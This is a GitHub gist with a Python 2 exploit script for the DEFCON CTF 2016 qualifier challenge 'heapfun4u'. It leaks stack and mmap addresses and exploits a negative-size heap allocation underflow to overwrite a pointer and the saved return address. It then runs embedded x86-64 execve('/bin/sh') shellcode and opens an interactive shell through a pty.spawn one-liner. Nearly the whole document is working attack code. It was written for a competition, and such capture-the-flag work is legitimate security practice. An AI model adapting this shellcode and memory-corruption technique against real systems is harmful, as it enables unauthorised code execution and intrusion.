Created
May 23, 2016 23:44
-
-
Save hugsy/892495d2299189db06517ff9a0b6249b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# DEFCON CTF 2016 - heapfun4u | |
# | |
# @_hugsy_ | |
# | |
import socket, struct, sys, telnetlib, binascii | |
HOST = "heapfun4u_873c6d81dd688c9057d5b229cf80579e.quals.shallweplayaga.me" | |
HOST = "172.28.128.4" | |
PORT = 3957 | |
def p16(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i) | |
def u16(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0] | |
def p32(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i) | |
def u32(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0] | |
def p64(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i) | |
def u64(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0] | |
def _xlog(x): sys.stderr.write(x + "\n") ; sys.stderr.flush() ; return | |
def err(msg): _xlog("[!] %s" % msg) | |
def ok(msg): _xlog("[+] %s" % msg) | |
def dbg(msg): _xlog("[*] %s" % msg) | |
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg)) | |
def build_socket(host, port): | |
s = telnetlib.Telnet(HOST, PORT) | |
ok("Connected to %s:%d" % (host, port)) | |
return s | |
def interact(s, live_tty=False): | |
pty = """python -c "import pty;pty.spawn('/bin/bash')" """ | |
try: | |
if live_tty: s.write(pty + '\n') | |
else: ok("""Get a PTY with ' %s '""" % pty) | |
s.interact() | |
except KeyboardInterrupt: | |
ok("Leaving") | |
except Exception as e: | |
err("Unexpected exception: %s" % e) | |
return | |
def sc(): | |
d = "" | |
d+= "\x48\x31\xc0" # xor rax, rax | |
d+= "\xb0\x3b" # mov al, 59 | |
d+= "\x48\xbe\x2f\x62\x69\x6e\x2f\x73\x68\x01" # mov rsi, 0x0168732f6e69622f | |
d+= "\x48\xc1\xe6\x08" # shl rsi, 8 | |
d+= "\x48\xc1\xee\x08" # shr rsi, 8 | |
d+= "\x48\x89\x34\x24" # mov [rsp], rsi | |
d+= "\x48\x89\xe7" # mov rdi, rsp | |
d+= "\x48\x31\xf6" # xor rsi, rsi | |
d+= "\x48\x31\xd2" # xor rdx, rdx | |
d+= "\x0f\x05" # syscall | |
return d | |
def pwn(s): | |
# leak stack address | |
s.read_until("| ") | |
s.write("N\n") | |
s.read_until("Here you go: ") | |
addr = s.read_until("\n") | |
stack_addr = int(addr, 0x10) | |
rbp = stack_addr + 4 | |
rsp = rbp - 0x60 | |
ok("rbp = %#x" % rbp) | |
ok("rsp = %#x" % rsp) | |
l = 128 | |
# payload = "A"*(l-8) + p64(0x4242424242424242) | |
# first allocation (normal) | |
s.read_until("| ") | |
s.write("A\n") | |
s.read_until("Size: ") | |
s.write("%d\n" % l) | |
ok("1st allocation ok") | |
# second allocation with neg. size (-> underflow) | |
s.read_until("| ") | |
s.write("A\n") | |
s.read_until("Size: ") | |
s.write("-1\n") | |
ok("2nd allocation ok") | |
# 3rd allocation | |
s.read_until("| ") | |
s.write("A\n") | |
s.read_until("Size: ") | |
s.write("10\n") | |
ok("3rd allocation ok") | |
# free the 2nd alloc to shift the last_buffer pointer inside the 1st alloc (0x401219) | |
# and also leak the mmap(RWX) address | |
s.read_until("| ") | |
s.write("F\n") | |
line = s.read_until("\n").split() | |
mmap_area = int(line[1], 0x10) | |
ok("Leaked mmap-ed areas: %#x" % mmap_area) | |
s.read_until("Index: ") | |
s.write("3\n") | |
ok("Free(#3) ok") | |
s.read_until("| ") | |
s.write("F\n") | |
s.read_until("Index: ") | |
s.write("2\0" + 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8 + '\n') | |
ok("Free(#2) ok") | |
# overwrite last_buffer pointer | |
sh = sc() | |
payload = sh + 'A'*(l-8-len(sh)) + p64(rbp+0x90) | |
s.read_until("| ") | |
s.write("W\n") | |
s.read_until("Write where: ") | |
s.write("1\n") | |
s.read_until("Write what: ") | |
s.write("%s" % payload) | |
ok("Overwriting pointer ok") | |
# pivot to stack | |
s.read_until("| ") | |
s.write("A\n") | |
s.read_until("Size: ") | |
s.write("%d\n" % 0x200) | |
ok("Stack pivot ok") | |
# overflow the stack & overwrite $pc | |
s.read_until("| ") | |
s.write("W\n") | |
res = s.read_until("Write where: ") | |
area = res.split("\n")[-2].split()[1] | |
area = int(area, 16) | |
# print(hex(area)) | |
s.write("4\n") | |
s.read_until("Write what: ") | |
p = 'A'*160 + p64(mmap_area) | |
s.write("%s\n" % p) | |
ok("Overwriting rip ok") | |
# trigger ret (i.e. exit) | |
s.read_until("| ") | |
s.write("E\n") | |
ok("Trigger return to %x" % mmap_area) | |
# raw_input("end ") | |
return True | |
if __name__ == "__main__": | |
s = build_socket(HOST, PORT) | |
raw_input("Attach with GDB and hit Enter ") | |
if pwn(s): | |
ok("Switching to interactive...") | |
interact(s, True) | |
ret = 0 | |
else: | |
err("Failed to exploit") | |
ret = 1 | |
s.close() | |
exit(ret) | |
# auto-generated by gef |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment